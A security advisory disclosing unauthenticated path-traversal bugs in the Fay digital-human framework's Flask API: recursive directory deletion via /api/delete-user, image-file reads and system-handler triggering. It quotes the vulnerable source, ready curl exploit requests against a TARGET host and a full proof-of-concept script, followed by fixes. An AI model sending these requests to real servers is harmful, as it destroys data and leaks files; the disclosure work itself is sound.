[Vulnerability] Unauthenticated Path Traversal Leading to Arbitrary Directory Deletion in xszyou/Fay
Summary
A path-traversal vulnerability exists in xszyou/Fay (digital human / virtual assistant framework, ~8k GitHub stars) that allows any network client to:
- Recursively delete arbitrary directories on the server filesystem via a single unauthenticated POST request to
/api/delete-user. - Read arbitrary image-extension files at any absolute path via
/api/local-image. - Trigger system file handlers on arbitrary files via
/api/open-image.
The /api/delete-user endpoint is the most critical: it takes a username JSON parameter, joins it into a path with os.path.join(mem_base, username), and calls shutil.rmtree() on the result — with zero sanitization and zero authentication. The server binds to 0.0.0.0:5000 by default, making this remotely exploitable from any host that can reach the server.
Affected Component
- Repository: https://github.com/xszyou/Fay
- File:
gui/flask_server.py - Sinks:
- Line 1016-1020:
os.path.join(mem_base, str(username))→shutil.rmtree(user_memory_dir) - Line 1766-1780:
request.args.get('path', '')→send_file(file_path) - Line 1792-1813:
data['path']→subprocess.run(['open', file_path])
- Line 1016-1020:
- Sources: HTTP JSON body (
username), HTTP query parameter (path) - Authentication: NONE on any
/api/*route - Server binding:
0.0.0.0:5000(line 1878)
Vulnerability Details
Vulnerability 1 — /api/delete-user Arbitrary Directory Deletion (CRITICAL)
# gui/flask_server.py, line 988-1020
@__app.route('/api/delete-user', methods=['POST'])
def api_delete_user():
"""删除用户及其所有数据(聊天记录、记忆文件)"""
data = request.get_json()
username = data['username'] # ← attacker-controlled, from JSON body
# Only check: username != 'User'
if username == 'User':
return jsonify({'success': False, 'message': '无法删除主人账户'}), 400
# ...
base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
mem_base = os.path.join(base_dir, "memory")
user_memory_dir = os.path.join(mem_base, str(username)) # ← PATH TRAVERSAL
if os.path.exists(user_memory_dir) and os.path.isdir(user_memory_dir):
import shutil
shutil.rmtree(user_memory_dir) # ← RECURSIVE DIRECTORY DELETIONPath construction: os.path.join("/path/to/Fay/memory", "../../target") resolves to /path/to/target. Python's os.path.join with relative ../ components allows escaping the base directory.
Absolute path bypass: os.path.join("/path/to/Fay/memory", "/etc") returns /etc — absolute paths override the base entirely (same behavior as pyLoad CVE-2025-54802 and F5-TTS findings).
Vulnerability 2 — /api/local-image Arbitrary File Read (HIGH)
# gui/flask_server.py, line 1763-1780
@__app.route('/api/local-image')
def api_local_image():
file_path = request.args.get('path', '') # ← attacker-controlled
if not os.path.exists(file_path):
return jsonify({'error': f'文件不存在: {file_path}'}), 404
valid_extensions = ('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp')
if not file_path.lower().endswith(valid_extensions):
return jsonify({'error': '不是有效的图片文件'}), 400
return send_file(file_path) # ← ARBITRARY FILE READConstraint: File must end in an image extension. This limits (but does not eliminate) the impact — screenshots, application images, photo backups at any path are exfiltrable.
Vulnerability 3 — /api/open-image Trigger System Handler (MEDIUM-HIGH)
# gui/flask_server.py, line 1785-1813
@__app.route('/api/open-image', methods=['POST'])
def api_open_image():
file_path = data['path'] # ← attacker-controlled
# Extension check only
valid_extensions = ('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp')
if not file_path.lower().endswith(valid_extensions):
return jsonify({'success': False, 'message': '不是有效的图片文件'}), 400
system = platform.system()
if system == 'Windows':
os.startfile(file_path) # ← trigger Windows handler
elif system == 'Darwin':
subprocess.run(['open', file_path]) # ← trigger macOS handler
else:
subprocess.run(['xdg-open', file_path]) # ← trigger Linux handlerNote: Uses list-form subprocess.run (not shell=True), so shell metacharacter injection is not possible. The risk is triggering system handlers on attacker-chosen files with image extensions.
Root Cause: Zero Authentication on All API Routes
# gui/flask_server.py, line 76-81
@auth.verify_password
def verify_password(username, password):
if not users or config_util.start_mode == 'common':
return True # ← auth disabled in common mode
if username in users and users[username] == password:
return usernameOnly GET / and POST / (the HTML index page) carry @auth.login_required. All 30+ /api/* endpoints are completely unauthenticated.
Server Binding
# gui/flask_server.py, line 1878
server = make_server('0.0.0.0', 5000, __app, threaded=True)The server binds to all interfaces, making all unauthenticated endpoints network-accessible by default.
Proof of Concept
Environment
| Component | Version |
|---|---|
| Fay | latest (commit HEAD as of 2026-05-12) |
| Python | 3.10+ |
| OS | Linux / macOS / Windows |
Attack 1: Arbitrary Directory Deletion
# Delete /tmp/test_target (or any directory the server UID can access)
curl -s -X POST http://TARGET:5000/api/delete-user \
-H "Content-Type: application/json" \
-d '{"username": "../../tmp/test_target"}'The server computes:
mem_base = "/path/to/Fay/memory"
user_memory_dir = os.path.join("/path/to/Fay/memory", "../../tmp/test_target")
= "/path/to/tmp/test_target" # escaped memory/ base
shutil.rmtree("/path/to/tmp/test_target") # RECURSIVE DELETEAbsolute path variant (even simpler):
curl -s -X POST http://TARGET:5000/api/delete-user \
-H "Content-Type: application/json" \
-d '{"username": "/tmp/test_target"}'Computes: os.path.join(mem_base, "/tmp/test_target") = "/tmp/test_target" → shutil.rmtree("/tmp/test_target").
Attack 2: Arbitrary File Read (image-extension files)
# Read any .png file at an absolute path
curl -s http://TARGET:5000/api/local-image?path=/home/user/Desktop/screenshot.png --output stolen.png
# Read application secrets if they happen to have image extensions
curl -s http://TARGET:5000/api/local-image?path=/app/uploads/secret_diagram.png --output secret.pngAttack 3: Trigger System Handler
curl -s -X POST http://TARGET:5000/api/open-image \
-H "Content-Type: application/json" \
-d '{"path": "/path/to/crafted_exploit.png"}'poc.py
import os, shutil, sys, tempfile, threading, time, types
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
FAY_ROOT = os.path.abspath(os.path.join(SCRIPT_DIR, "..", "..", "source_audit", "fay"))
if not os.path.isdir(FAY_ROOT):
sys.exit(f"[!] Fay source not found at: {FAY_ROOT}")
sys.path.insert(0, FAY_ROOT)
os.chdir(FAY_ROOT)
# Resolve Fay's circular import (utils.util ↔ utils.config_util)
utils_pkg = types.ModuleType('utils')
utils_pkg.__path__ = [os.path.join(FAY_ROOT, 'utils')]
sys.modules['utils'] = utils_pkg
util_stub = types.ModuleType('utils.util')
util_stub.log = lambda *a, **kw: None
util_stub.printInfo = lambda *a, **kw: None
sys.modules['utils.util'] = util_stub
utils_pkg.util = util_stub
from utils import config_util
utils_pkg.config_util = config_util
# TRUE IMPORT
from gui import flask_server
app = flask_server.__dict__['__app']
routes = {rule.rule: rule.endpoint for rule in app.url_map.iter_rules()}
delete_handler = app.view_functions[routes['/api/delete-user']]
image_handler = app.view_functions[routes['/api/local-image']]
assert 'flask_server' in delete_handler.__module__
assert 'flask_server' in image_handler.__module__
print(f"[*] Imported: {flask_server.__file__}")
print(f" Handler: {delete_handler.__module__}.{delete_handler.__qualname__}")
print(f" Routes: {len(routes)} total, /api/delete-user + /api/local-image confirmed")
# Start real HTTP server
PORT = 7864
BASE_URL = f"http://127.0.0.1:{PORT}"
from werkzeug.serving import make_server
server = make_server('127.0.0.1', PORT, app, threaded=True)
threading.Thread(target=server.serve_forever, daemon=True).start()
time.sleep(1.0)
import requests as http
r = http.get(f"{BASE_URL}/api/local-image", params={"path": ""}, timeout=5)
assert r.status_code == 400
MEM_BASE = os.path.join(FAY_ROOT, "memory")
os.makedirs(MEM_BASE, exist_ok=True)
results = {}
# Test 1: No auth
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": "nonexistent_xyz"})
results["no_auth"] = r.status_code == 200 and r.json().get("success") is True
# Test 2: Relative path traversal
target_name = "POC_TRAVERSAL_TARGET"
target_path = os.path.join(FAY_ROOT, target_name)
os.makedirs(target_path, exist_ok=True)
open(os.path.join(target_path, "data.txt"), "w").close()
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": f"../{target_name}"})
results["relative_traversal"] = not os.path.exists(target_path)
if os.path.exists(target_path):
shutil.rmtree(target_path)
# Test 3: Absolute path override
target_abs = tempfile.mkdtemp(prefix="fay_poc_ABS_")
os.makedirs(os.path.join(target_abs, "subdir"))
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": target_abs})
results["absolute_path"] = not os.path.exists(target_abs)
if os.path.exists(target_abs):
shutil.rmtree(target_abs)
# Test 4: Arbitrary file read via /api/local-image
fd, canary_file = tempfile.mkstemp(suffix=".png", prefix="fay_poc_")
canary_data = b"\x89PNG\r\n\x1a\nSECRET_EXFIL_DATA"
os.write(fd, canary_data)
os.close(fd)
r = http.get(f"{BASE_URL}/api/local-image", params={"path": canary_file})
results["file_read"] = r.status_code == 200 and r.content == canary_data
os.unlink(canary_file)
# Test 5 (Control): Legitimate delete stays in memory/
legit_dir = os.path.join(MEM_BASE, "legit_user")
os.makedirs(legit_dir, exist_ok=True)
r = http.post(f"{BASE_URL}/api/delete-user", json={"username": "legit_user"})
results["control_legit"] = not os.path.exists(legit_dir)
# Results
server.shutdown()
shutil.rmtree(MEM_BASE, ignore_errors=True)
passed = sum(results.values())
total = len(results)
print(f"\n{'='*60}")
for name, ok in results.items():
print(f" [{'PASS' if ok else 'FAIL'}] {name}")
print(f"\n {passed}/{total} passed")
if passed == total:
print("\n VULNERABILITY CONFIRMED (true import, zero mocks)")
sys.exit(0 if passed == total else 1)
Impact
Realistic attack scenarios:
- Data destruction: Delete the Fay application directory itself, other users' data, or critical system directories
- Denial of service: Delete Python packages, system libraries, or the application's database files
- Information exfiltration: Read screenshots, photos, or application-generated images from anywhere on the filesystem
- Lateral movement: On shared hosting, delete other tenants' directories; read their image assets
Affected Versions
- Confirmed: Latest commit on
mainbranch as of 2026-05-12 - Likely affected: All versions containing these endpoints (the delete-user endpoint appears to be relatively recent; the local-image/open-image endpoints were added for the web UI image viewer feature)
Remediation
1. Add authentication to ALL API routes
@__app.route('/api/delete-user', methods=['POST'])
@auth.login_required # ← ADD THIS
def api_delete_user():
...Or better — apply auth globally with @__app.before_request.
2. Path containment check for delete-user
import os
def _safe_memory_path(mem_base: str, username: str) -> str:
# Reject path separators and traversal
if os.sep in username or '/' in username or '\\' in username or '..' in username:
raise ValueError("invalid username")
candidate = os.path.realpath(os.path.join(mem_base, username))
if not candidate.startswith(os.path.realpath(mem_base) + os.sep):
raise ValueError("username escapes base directory")
return candidate3. Path containment for local-image/open-image
def _validate_image_path(file_path: str, allowed_dirs: list) -> bool:
real_path = os.path.realpath(file_path)
return any(
real_path.startswith(os.path.realpath(d) + os.sep)
for d in allowed_dirs
)4. Bind to localhost by default
server = make_server('127.0.0.1', 5000, __app, threaded=True) # NOT 0.0.0.0Source: xszyou/Fay